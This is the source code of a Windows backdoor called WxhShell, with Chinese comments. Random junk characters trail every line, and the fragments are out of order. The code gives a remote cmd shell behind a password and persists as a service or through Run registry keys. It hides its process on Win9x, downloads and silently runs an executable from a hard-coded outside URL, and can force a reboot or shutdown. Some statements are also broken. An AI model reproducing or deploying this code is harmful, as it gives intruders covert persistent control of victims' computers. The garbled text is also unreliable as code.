    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TqQB@-!  
    if(Boot(SHUTDOWN)) "cGk)s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 539>WyG5  
    else { Paq4  
    closesocket(wsh); wm@@$  
    ExitThread(0); `hm-.@f,9  
    } rKc9b<Ir  
    break; sdrfsrNvB-  
    } {?0lBfB"  
  // 获取shell l'1pw  
  case 's': { ]A `n( "%  
    CmdShell(wsh); a!SiX  
    closesocket(wsh); RBd7YWo\|j  
    ExitThread(0); n&/ `  
    break; DfD&)tsMQ  
  } ^ +\dz  
  // 退出 #%2rP'He  
  case 'x': { 5;WH:XM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;;t yoh~t  
    CloseIt(wsh); (,2S XV  
    break; h" W,WxL8  
    } SulY1,  
  // 离开 gVuFHHeUz  
  case 'q': { E]d. z6k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y|qTyE%  
    closesocket(wsh); {S \{Ii6  
    WSACleanup(); ?z+eWL  
    exit(1); y Pp9\[+^j  
    break; cVpp-Z|s8  
        } IPpN@  
  } `}\ "Aw c  
  } 8Fh)eha9f  
>'$Mp<  
  // 提示信息 Y@iS_lR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Hm>i  
} >:!5*E5?  
  } /N .b%M] !  
M _f:A  
  return; 6@!`]tSCK  
} T>Z<]s  
0mVNQxHI  
// shell模块句柄 qR{=pR  
int CmdShell(SOCKET sock) hfTY.  
{ B[Scr5|  
STARTUPINFO si; P+sW[:  
ZeroMemory(&si,sizeof(si)); .P]+? %&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @mBQ?; qlK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >U>(`r*  
PROCESS_INFORMATION ProcessInfo; gD?l-RT>  
char cmdline[]="cmd"; uW{l(}0N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zi i   
  return 0; 7]bGc \  
} b|DdG/O  
r u%y  
// 自身启动模式 EZGIf/ 3  
int StartFromService(void) pv&sO~!iC  
{ eByz-,{P  
typedef struct e *C(q~PQ  
{ ;'K5J9k  
  DWORD ExitStatus; N+xP26D8  
  DWORD PebBaseAddress; 0d&6lqTo  
  DWORD AffinityMask; NI]N4[8(  
  DWORD BasePriority; SfyQ$$Z  
  ULONG UniqueProcessId; 3 i0_hZ  
  ULONG InheritedFromUniqueProcessId; BWrxunHO  
}   PROCESS_BASIC_INFORMATION; BU_nh+dF  
AT3Mlz~7#  
PROCNTQSIP NtQueryInformationProcess; _{KG 4+5\X  
ND;#7/$>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cI*;k.KU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p2](_}PK  
Kc-W&?~y#1  
  HANDLE             hProcess; fr3d  
  PROCESS_BASIC_INFORMATION pbi; L2z[   
SnfYT)Ph  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4VSU8tK|N]  
  if(NULL == hInst ) return 0; Sm|6 %3  
VA5xp]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CCx&7f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hn"RH1Zy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x;d6vBTUb  
6{b >p+U  
  if (!NtQueryInformationProcess) return 0; IJ"q~r$  
pnOAs&QAm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oPM96 (  
  if(!hProcess) return 0; o*H<KaX  
bd-L` ={j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7NGxa6wi  
`;C  V=,M  
  CloseHandle(hProcess); 5j(k:a+!H  
HZge!Yp<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SJ,v?=S!  
if(hProcess==NULL) return 0; } Kgy  
/8S>;5hvK@  
HMODULE hMod; T~e.PP  
char procName[255]; a~w$#fo"`f  
unsigned long cbNeeded; L8B! u9%  
K|, .C[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1+s;FJ2}  
g- gV2$I  
  CloseHandle(hProcess); "to;\9lP  
]a`$LW}  
if(strstr(procName,"services")) return 1; // 以服务启动 0H:X3y+  
WsB?C&>x  
  return 0; // 注册表启动 7[)E>XRE  
} 4WB0Pt{  
ktIFI`@ w)  
// 主模块 ]/v[8dS(l  
int StartWxhshell(LPSTR lpCmdLine) "y}5;9#,  
{ `c$V$/IT  
  SOCKET wsl; 9.#<b |g  
BOOL val=TRUE; mfr|:i  
  int port=0; z{QqY.Gu{G  
  struct sockaddr_in door; W=?<<dVYD  
? J0y|  
  if(wscfg.ws_autoins) Install(); %N._w!N<5n  
6gDN`e,@  
port=atoi(lpCmdLine); L4W5EO$  
R|(a@sL  
if(port<=0) port=wscfg.ws_port; 9 68Ez  
Pq$n5fZC !  
  WSADATA data; 1% `Rs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? r4>"[  
=3P)q"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %|oym.-I6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); At;LO9T3z  
  door.sin_family = AF_INET; h?U O&(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "{t$nVJ  
  door.sin_port = htons(port); Vurq t_nb  
%cn<ych G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SpBy3wd  
closesocket(wsl); DEgXQ[  
return 1; -9?]IIVb  
} QT}tvm@PMq  
<P<z N~i9j  
  if(listen(wsl,2) == INVALID_SOCKET) { 5^Zg>I  
closesocket(wsl); ~W/z96' 5  
return 1; V7/Rby Q  
} h";L  
  Wxhshell(wsl); gX@aG9  
  WSACleanup(); DlJo^|5  
* T1_;4i  
return 0; {!`6zBsP  
#vlgwA  
} lOp`m8_=  
8@R|Km5h  
// 以NT服务方式启动 Fr-SvsNFB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7tp36TE  
{ l[J8!u2Xp  
DWORD   status = 0; P+}h$ _x  
  DWORD   specificError = 0xfffffff; zt%Mx>V@  
WIGi51yC.x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r JB}qYD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9gIrt 6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8P`"M#fI  
  serviceStatus.dwWin32ExitCode     = 0; eMzk3eOJ  
  serviceStatus.dwServiceSpecificExitCode = 0; ar,7S&s H  
  serviceStatus.dwCheckPoint       = 0; \U_@S.  
  serviceStatus.dwWaitHint       = 0; eO1lnO|  
{;oPLr+Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J}t%p(mb  
  if (hServiceStatusHandle==0) return; -?a 26o%e  
]M3yLYK/P  
status = GetLastError(); "@n%Z  
  if (status!=NO_ERROR) dh\P4  
{ =(^3}x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l^ }c!  
    serviceStatus.dwCheckPoint       = 0; b,@/!ia  
    serviceStatus.dwWaitHint       = 0; I-)4YQI  
    serviceStatus.dwWin32ExitCode     = status; HaYo!.(Fv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;*J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /L 3:  
    return; B5QFK  
  } 5V-I1B&  
wIgS3K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Bw.i}3UT6  
  serviceStatus.dwCheckPoint       = 0; 4p wH>1  
  serviceStatus.dwWaitHint       = 0; -\MG}5?!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FI.\%x  
} X>^fEQq"  
"N#Y gSr  
// 处理NT服务事件,比如:启动、停止 O.M 1@w]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6u%&<")4HP  
{ 4M T 7`sr  
switch(fdwControl) wC*X4 '  
{ i/.6>4tE:  
case SERVICE_CONTROL_STOP: VEH>]-0K  
  serviceStatus.dwWin32ExitCode = 0; gG uO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 05R@7[GWq  
  serviceStatus.dwCheckPoint   = 0; HOi`$vX }N  
  serviceStatus.dwWaitHint     = 0; y`Z\N   
  { Wn6Sn{8W{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1;iUWU1@  
  } ry]l.@o;  
  return; {8etv:y  
case SERVICE_CONTROL_PAUSE: /{2,zW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OrW  
  break;  :11 A  
case SERVICE_CONTROL_CONTINUE: EX"yxZ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^rz_f{c]-  
  break; L},_.$I?  
case SERVICE_CONTROL_INTERROGATE: :'ptuY  
  break; >mkFV@`  
}; jWgX_//!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s#MPX3itK  
} FTldR;}(  
%2h>-.tY  
// 标准应用程序主函数 O0:q;<>z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |BYRe1l6l  
{ iRBfx  
GX%g9f!O  
// 获取操作系统版本 u@^LW<eD  
OsIsNt=GetOsVer(); kf9X$d6   
GetModuleFileName(NULL,ExeFile,MAX_PATH); m[2gdJK  
ig"L\ C"T  
  // 从命令行安装 ^?|"L>y  
  if(strpbrk(lpCmdLine,"iI")) Install(); &3&HY:yF  
g{LP7 D;6  
  // 下载执行文件 H*6W q  
if(wscfg.ws_downexe) { R-14=|7a-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d=^z`nt !R  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~G w*r\\+  
} 3XKf!P  
1mJ Hued=6  
if(!OsIsNt) { sRfcF`7  
// 如果时win9x,隐藏进程并且设置为注册表启动 !~Z"9(v'C  
HideProc(); ,//S`j$S  
StartWxhshell(lpCmdLine); 8EY:t zw  
} (% 9$!v{3  
else vD4*&|8T#  
  if(StartFromService()) 0\$2X- c  
  // 以服务方式启动 1x^GWtRp  
  StartServiceCtrlDispatcher(DispatchTable); D'4\*4is  
else HT@=evV  
  // 普通方式启动 V )4J`xg^  
  StartWxhshell(lpCmdLine); 4K74=r),i  
*ui</+  
return 0; 6B-16  
} t,' <gI  
h];I{crh  
cCX*D_kCB  
(sj,[  
=========================================== [-&Zl(9&  
>dT*rH3w  
kVL.PY\K  
7z-[f'EIUI  
^Dx&|UwiZa  
_cwpA#x`}  
" ;kK/_%gN-G  
jdBLsy@  
#include <stdio.h> $!DpjN  
#include <string.h> _B0L.eF  
#include <windows.h> ?Ob3tUz2  
#include <winsock2.h> Ss`LLq0LO  
#include <winsvc.h> _f{{( 7  
#include <urlmon.h> Xr{v~bf  
r*Xuj=  
#pragma comment (lib, "Ws2_32.lib") 28nFRr  
#pragma comment (lib, "urlmon.lib") SAz   
=">NQ)98u  
#define MAX_USER   100 // 最大客户端连接数 Mp]rUPK  
#define BUF_SOCK   200 // sock buffer pJ{Y lS{  
#define KEY_BUFF   255 // 输入 buffer W>LR\]Ti@  
D,6:EV"sa  
#define REBOOT     0   // 重启 .^g p?  
#define SHUTDOWN   1   // 关机 'PHl$f*k  
+h$ 9\  
#define DEF_PORT   5000 // 监听端口 cnLro  
4I7>f]=)  
#define REG_LEN     16   // 注册表键长度 #/]nxW.S  
#define SVC_LEN     80   // NT服务名长度 ;Xw~D_uv  
d'2A,B~_*  
// 从dll定义API HTtnXBJ)*H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); saAF+H/=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <uJ@:oWG7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qWw=8Bq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o(HbGHIP  
j<x_&1  
// wxhshell配置信息 W%J\qA  
struct WSCFG { (#'>(t(4  
  int ws_port;         // 监听端口 NO3/rJ6-  
  char ws_passstr[REG_LEN]; // 口令 j#6.Gq  
  int ws_autoins;       // 安装标记, 1=yes 0=no qb4z T  
  char ws_regname[REG_LEN]; // 注册表键名 o}!PQ#`M  
  char ws_svcname[REG_LEN]; // 服务名 Lr<cMK<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [gB+C84%%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [!z,lY>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u4j5w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  XilS!,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P%zK;#8V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  )*[3Vq  
BzzTGWq\  
}; :Sma`U&  
g5yJfRLxp  
// default Wxhshell configuration ]?*wbxU0  
struct WSCFG wscfg={DEF_PORT, 7 3m1  
    "xuhuanlingzhe", f<H2-(m  
    1, ZW}_DT0  
    "Wxhshell", l ,8##7  
    "Wxhshell", MPV5P^@X  
            "WxhShell Service", nR~(0G,H  
    "Wrsky Windows CmdShell Service", nK,w]{<wG!  
    "Please Input Your Password: ", hQ i2U  
  1, KSvE~h[#+  
  "http://www.wrsky.com/wxhshell.exe", ys~x $  
  "Wxhshell.exe" 6 r"<jh#  
    }; HDLk>_N_s,  
&vJH$R  
// 消息定义模块 :>*7=q=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r,udO,Yi=c  
char *msg_ws_prompt="\n\r? for help\n\r#>";  J *yg&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ib`XT0k  
char *msg_ws_ext="\n\rExit."; /\Ef%@  
char *msg_ws_end="\n\rQuit."; 9UkBwS`  
char *msg_ws_boot="\n\rReboot..."; }}[2SH'nH  
char *msg_ws_poff="\n\rShutdown..."; "#]$r  
char *msg_ws_down="\n\rSave to "; :0ep( <|;  
+H.`MZ=  
char *msg_ws_err="\n\rErr!"; <N)oS-m>  
char *msg_ws_ok="\n\rOK!"; q@&6#B  
R@0R`Zs  
char ExeFile[MAX_PATH]; p[-O( 3Y  
int nUser = 0; R2;  
HANDLE handles[MAX_USER]; 1,~D4lD|  
int OsIsNt; y^k$Us  
/,dz@   
SERVICE_STATUS       serviceStatus; 8QK&_n*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S:Hl/:iV  
74u&%Rj  
// 函数声明 <[phnU^ 8  
int Install(void); sS Mh`4'  
int Uninstall(void); (ZGbh MK  
int DownloadFile(char *sURL, SOCKET wsh); %RVZD#zr  
int Boot(int flag); y(&Ac[foS}  
void HideProc(void); )7d&NE_  
int GetOsVer(void); j [a(#V{  
int Wxhshell(SOCKET wsl); ZoeD:xnh[  
void TalkWithClient(void *cs); TV:9bn?r)  
int CmdShell(SOCKET sock); Mhu*[a=;x  
int StartFromService(void); XuTD\g3)  
int StartWxhshell(LPSTR lpCmdLine); !W\+#ez  
2T1q?L?]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (mOtU8e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~?dI*BZ)]  
v^iAD2X/F  
// 数据结构和表定义 : +u]S2u{  
SERVICE_TABLE_ENTRY DispatchTable[] = &L:!VL{I  
{ @co S+t  
{wscfg.ws_svcname, NTServiceMain}, G)YcJv7  
{NULL, NULL} *_e3 @g  
}; N;R^h? '  
LLI.8kn7  
// 自我安装 43w}qY1  
int Install(void) lMt=|66  
{ 4 :v=pZ  
  char svExeFile[MAX_PATH]; edD)TpmE,  
  HKEY key; (BM47 D=v  
  strcpy(svExeFile,ExeFile); .VqhV  
jylD6IT  
// 如果是win9x系统,修改注册表设为自启动 ye97!nIg@  
if(!OsIsNt) { RNL9>7xV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5^cCY'I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5xBbrU;  
  RegCloseKey(key); =%7-ZH9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q/?$x*\>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [KQi.u  
  RegCloseKey(key); -4K5-|>O  
  return 0; $xqa{L%B  
    } 0"R|..l/  
  } z{543~Og59  
} ni<(K 0~  
else { Ni>[D"|  
N#] ypl  
// 如果是NT以上系统,安装为系统服务 @CoIaUVP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3^ClAE"8  
if (schSCManager!=0) 7=uj2.J6  
{ iCoX& "lb  
  SC_HANDLE schService = CreateService WAqINLdX  
  ( _g8yDfcLG  
  schSCManager, ^Pf WG*  
  wscfg.ws_svcname, y7{?Ip4[  
  wscfg.ws_svcdisp, IBGrt^$M  
  SERVICE_ALL_ACCESS, "MsIjSu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @iiT<  
  SERVICE_AUTO_START, _aphkeqd  
  SERVICE_ERROR_NORMAL, xk5 ]^yDp  
  svExeFile, _{>vTBU4F  
  NULL, VUc%4U{Cti  
  NULL, ("@!>|H  
  NULL, } \f0 A-  
  NULL, Mt$ *a  
  NULL #Z#-Ht  
  ); x^ni1=kU  
  if (schService!=0) b>W %t  
  { V9vTsmo(  
  CloseServiceHandle(schService); Iv *<L a  
  CloseServiceHandle(schSCManager); \['Cj*ek  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nTas~~Q  
  strcat(svExeFile,wscfg.ws_svcname); #_1`)VS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )BE1Q*= n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aXVFc5C\  
  RegCloseKey(key); (:_$5&i7  
  return 0; hp2t"t  
    } 965 jtn  
  } VVZ'i.*_3?  
  CloseServiceHandle(schSCManager); b>|6t~}M  
} W^Yxny  
} D9df=lv mD  
hxx.9x>ow  
return 1; K9[UB  
} "Q0@/bYq  
EnR}IY&sI  
// 自我卸载 _t$sgz&  
int Uninstall(void) ! if   
{ pmM9,6P4@  
  HKEY key; b}f~il  
SBpL6~NW  
if(!OsIsNt) { \zY!qpX<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O^.#d  
  RegDeleteValue(key,wscfg.ws_regname); ~&T~1xsFJ  
  RegCloseKey(key); \m,PA'nd/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LLo;\WGZ  
  RegDeleteValue(key,wscfg.ws_regname); dG{A~Z z  
  RegCloseKey(key); Y*^[P,+J*}  
  return 0; 0@(&eH=  
  } eRYK3W  
} \RiP  
} *hx  
else { uZ5p#M_  
+z( Lr=G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eDMO]5}Ht  
if (schSCManager!=0) ]lbuy7xj63  
{ }6#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1^}+=~  
  if (schService!=0)  g(052]  
  { f 2.HF@  
  if(DeleteService(schService)!=0) { q'DW~!>qX  
  CloseServiceHandle(schService); ^#$n~]s  
  CloseServiceHandle(schSCManager); Wri<h:1  
  return 0; b sX[UF  
  } 53D]3  
  CloseServiceHandle(schService); x4 yR8n(  
  } \<' ?8ri#  
  CloseServiceHandle(schSCManager); }pYqWTG  
} uYN`:b8  
} -~1~I e2  
Tx D#9]Q`  
return 1; | (93gJ  
} vQCy\Gi   
[6fQ7uFMM8  
// 从指定url下载文件 $I=~S[p  
int DownloadFile(char *sURL, SOCKET wsh) N['  .BN  
{ tA;}h7/Lc~  
  HRESULT hr; 8=l%5r^cq  
char seps[]= "/"; YWLj?+  
char *token; wp_0+$?s  
char *file; Upe%rC(  
char myURL[MAX_PATH]; ?  t|[?  
char myFILE[MAX_PATH]; ! mHO$bQ"  
]DcFySyv  
strcpy(myURL,sURL); X8|,   
  token=strtok(myURL,seps); 0S"MC9beg  
  while(token!=NULL) ;TYBx24vD'  
  { K-4PI+qQ\  
    file=token; z_HdISy0  
  token=strtok(NULL,seps); /x hKd]Q  
  } 1#x0q:6  
F%|h;+5  
GetCurrentDirectory(MAX_PATH,myFILE); _/|\aqF.  
strcat(myFILE, "\\"); aUp g u"  
strcat(myFILE, file); ]9CFIh  
  send(wsh,myFILE,strlen(myFILE),0); w:0E(z  
send(wsh,"...",3,0); p{_ " bB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @C$]//;  
  if(hr==S_OK) s<Ziegmw|g  
return 0; +>,I1{u%&  
else m`XHKRp  
return 1; 3BI1fXT4=j  
qPNR`%}Q  
} R_C)  
TbU#96"~.  
// 系统电源模块 4 KiY6)  
int Boot(int flag) (=0.inZ  
{ & 21%zPm  
  HANDLE hToken; By |4 m  
  TOKEN_PRIVILEGES tkp; .Mbz3;i0  
COlqcq'qAu  
  if(OsIsNt) { *@5@,=d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9;{C IMg&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -RwE%  cr  
    tkp.PrivilegeCount = 1; 1zv'.uu.,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dV_G1'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e ,(mR+a8  
if(flag==REBOOT) { nlP;nlW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RZLq]8pM  
  return 0; P:c w|Q  
} M3\AY30L  
else { 54 T`OE =  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /m1\iM\  
  return 0; zX[U~.  
} ';CNGv -  
  } 0mE 0 j  
  else { Ud?Q%) X  
if(flag==REBOOT) { L!92P{K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %b$>qW\*&  
  return 0; _6Sp QW  
} q V =!ORuj  
else { )9g2D`a4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Cv!,]9:r  
  return 0; ( .:e,l{U%  
} ah"o~Cbj  
} /uc>@!F  
N~Jda o  
return 1; r!v\"6:OM  
} D.:Zx  
4hB]vY\T  
// win9x进程隐藏模块 #qki  
void HideProc(void) y29m/i:  
{ IGl9 g_18  
-?\D\\+t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @ArSC  
  if ( hKernel != NULL ) Jy)/%p~  
  { O.? JmE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rI\FI0zIp_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {}9a6.V;}  
    FreeLibrary(hKernel); 3";q[&F9y  
  } MgZ/(X E  
4#D,?eA7  
return; Mx}gN:Wt  
} [Xkx_B  
_a, s )  
// 获取操作系统版本 \bXa&Lq  
int GetOsVer(void) \fOEqe*5SM  
{ vx =&QavL  
  OSVERSIONINFO winfo; #!=tDc &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VbYdZCC  
  GetVersionEx(&winfo); ZJoM?g~WFI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6tZI["\   
  return 1; }MySaL>  
  else &]Tmxh(  
  return 0; l1I#QB@5n  
} WJi]t93  
+A+)=/i;  
// 客户端句柄模块 UKGPtKE<  
int Wxhshell(SOCKET wsl) K/$KI7 P  
{ Ry&6p>-  
  SOCKET wsh; tbr=aY$jY  
  struct sockaddr_in client; X}]-*T|a  
  DWORD myID; R2NZ{"h  
6Wn1{v0  
  while(nUser<MAX_USER) _c07}aQ ],  
{ (FV >m  
  int nSize=sizeof(client); (7Qo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hH.G#-JO  
  if(wsh==INVALID_SOCKET) return 1; BtZyn7a  
l (o~-i\M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _1^'(5f$  
if(handles[nUser]==0) y_,bu^+*  
  closesocket(wsh); YSMAd-Ef-  
else [[ZJ]^n,  
  nUser++; )7@0[>  
  } )oZ dj`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "@kaHIf[  
f$( e\+ +  
  return 0; 6!o1XQr=Z  
} AA_%<zK  
y`Fw-!'o  
// 关闭 socket jIyQ]:*p  
void CloseIt(SOCKET wsh) ,4 rPg]r@  
{ }Jw,>}  
closesocket(wsh); reVgqYp{{-  
nUser--; PF2nLb2-  
ExitThread(0); G$PE}%X  
} k)u[0}   
=Qq+4F)MD  
// 客户端请求句柄 Xj*Wu_  
void TalkWithClient(void *cs) hZ3bVi)L\  
{ 5;?yCWc  
#$vEGY}1  
  SOCKET wsh=(SOCKET)cs; 8L XHk l  
  char pwd[SVC_LEN]; :gT4K-O j  
  char cmd[KEY_BUFF]; 6~{C.No}  
char chr[1]; zDp2g)  
int i,j; a.'*G6~Qgw  
^.tg7%dJ  
  while (nUser < MAX_USER) { GILfbNcd  
}G=M2V<L  
if(wscfg.ws_passstr) { 9L9sqZUB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TC. ,V_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (hsl~Jf  
  //ZeroMemory(pwd,KEY_BUFF); )"LJ hLg  
      i=0; m|# y >4  
  while(i<SVC_LEN) { NI5``BwpO  
n%-0V>  
  // 设置超时 E]6 6]+;0_  
  fd_set FdRead; v=k$A  
  struct timeval TimeOut; "b[5]Y{ U  
  FD_ZERO(&FdRead); IID5c" oR  
  FD_SET(wsh,&FdRead); <VcQ{F  
  TimeOut.tv_sec=8; +(*DT9s+  
  TimeOut.tv_usec=0; p<2,=*2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |}1dFp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kT?J5u _o  
v<;Md-<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GfG|&VNlz  
  pwd=chr[0]; 'S~5"6r  
  if(chr[0]==0xd || chr[0]==0xa) { ~ 1pr~  
  pwd=0; S'14hk<  
  break; Qd6FH2Pl  
  } WHI`/FM  
  i++; =xrv~  
    } E9}C  #  
zQA`/&=Y  
  // 如果是非法用户,关闭 socket H"KCK6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;=@0'xPEa-  
} -8Xf0_  
+#By*;BJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vy/-wP|1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]9X DS[<2`  
SaCh 7 ^  
while(1) { 1}37Q&2  
:KN-F86i  
  ZeroMemory(cmd,KEY_BUFF); 7.T?#;'3  
C?Ucu]cW  
      // 自动支持客户端 telnet标准   :LTN!jj  
  j=0; nm+s{  
  while(j<KEY_BUFF) { -hV*EPQ/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]?)TdJ`  
  cmd[j]=chr[0]; <Qq*p  
  if(chr[0]==0xa || chr[0]==0xd) { C>~TI,5a3  
  cmd[j]=0; />Nt[o[r  
  break; xpI wrJO  
  } P$sxr  
  j++; {T8Kk)L  
    } m68*y;#  
zVD:#d% b  
  // 下载文件 S$k&vc(0  
  if(strstr(cmd,"http://")) { ^&)|sP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b2]Kx&!  
  if(DownloadFile(cmd,wsh)) bfO=;S]b!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `kr?j:g  
  else ]{kPrey  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqTjl4ai  
  } e*!kZAf  
  else { qVPeB,kIz  
rbQR,Nf2x  
    switch(cmd[0]) { CNIsZ v@Q  
  RL<c>PY  
